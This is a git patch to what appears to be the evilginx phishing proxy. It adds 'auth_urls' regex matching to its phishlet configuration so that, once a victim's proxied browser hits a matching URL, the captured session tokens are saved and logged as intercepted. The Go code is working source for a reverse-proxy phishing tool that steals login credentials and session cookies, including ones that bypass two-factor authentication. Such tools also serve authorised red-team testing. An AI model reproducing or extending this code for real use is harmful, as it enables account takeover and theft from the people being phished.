From ecd8202aa8d7f3d1dfd276582dbbd39b272005a3 Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Sun, 9 Sep 2018 20:35:23 +0200 Subject: [PATCH] added auth_urls to authorize session after detecting request to specific URL regexp --- core/http_proxy.go | 22 ++++++++++++++++++++++ core/phishlet.go | 12 ++++++++++-- 2 files changed, 32 insertions(+), 2 deletions(-) diff --git a/core/http_proxy.go b/core/http_proxy.go index 1676f26ab..d3a2996be 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -259,6 +259,25 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } req.Header.Set(string(e), e_host) + if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" { + s, ok := p.sessions[ps.SessionId] + if ok && !s.IsDone { + for _, au := range pl.authUrls { + if au.MatchString(req.URL.Path) { + err := p.db.SetSessionTokens(ps.SessionId, s.Tokens) + if err != nil { + log.Error("database: %v", err) + } + s.IsDone = true + if err == nil { + log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, req.URL.Path) + } + break + } + } + } + } + if ps.SessionId != "" && origin == "" { s, ok := p.sessions[ps.SessionId] if ok { @@ -343,6 +362,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if ok && !s.IsDone { if ck.Value != "" { // cookies with empty values are of no interest to us is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens) + if len(pl.authUrls) > 0 { + is_auth = false + } if is_auth { if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil { log.Error("database: %v", err) diff --git a/core/phishlet.go b/core/phishlet.go index 43c2b0bdf..5b20fa333 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -42,6 +42,7 @@ type Phishlet struct { domains []string subfilters map[string][]SubFilter authTokens map[string][]*AuthToken + authUrls []*regexp.Regexp k_username string re_username string k_password string @@ -88,6 +89,7 @@ type ConfigPhishlet struct { ProxyHosts []ConfigProxyHost `mapstructure:"proxy_hosts"` SubFilters []ConfigSubFilter `mapstructure:"sub_filters"` AuthTokens []ConfigAuthToken `mapstructure:"auth_tokens"` + AuthUrls []string `mapstructure:"auth_urls"` UserRegex ConfigUserRegex `mapstructure:"user_regex"` PassRegex ConfigPassRegex `mapstructure:"pass_regex"` LandingPath []string `mapstructure:"landing_path"` @@ -114,6 +116,7 @@ func (p *Phishlet) Clear() { p.domains = []string{} p.subfilters = make(map[string][]SubFilter) p.authTokens = make(map[string][]*AuthToken) + p.authUrls = []*regexp.Regexp{} p.k_username = "" p.re_username = "" p.k_password = "" @@ -156,6 +159,13 @@ func (p *Phishlet) LoadFromFile(path string) error { return err } } + for _, au := range fp.AuthUrls { + re, err := regexp.Compile(au) + if err != nil { + return err + } + p.authUrls = append(p.authUrls, re) + } p.re_username = fp.UserRegex.Re p.k_username = fp.UserRegex.Key p.re_password = fp.PassRegex.Re @@ -265,8 +275,6 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error { if err != nil { return err } - case "httponly": - at.http_only = true } } p.authTokens[hostname] = append(p.authTokens[hostname], at)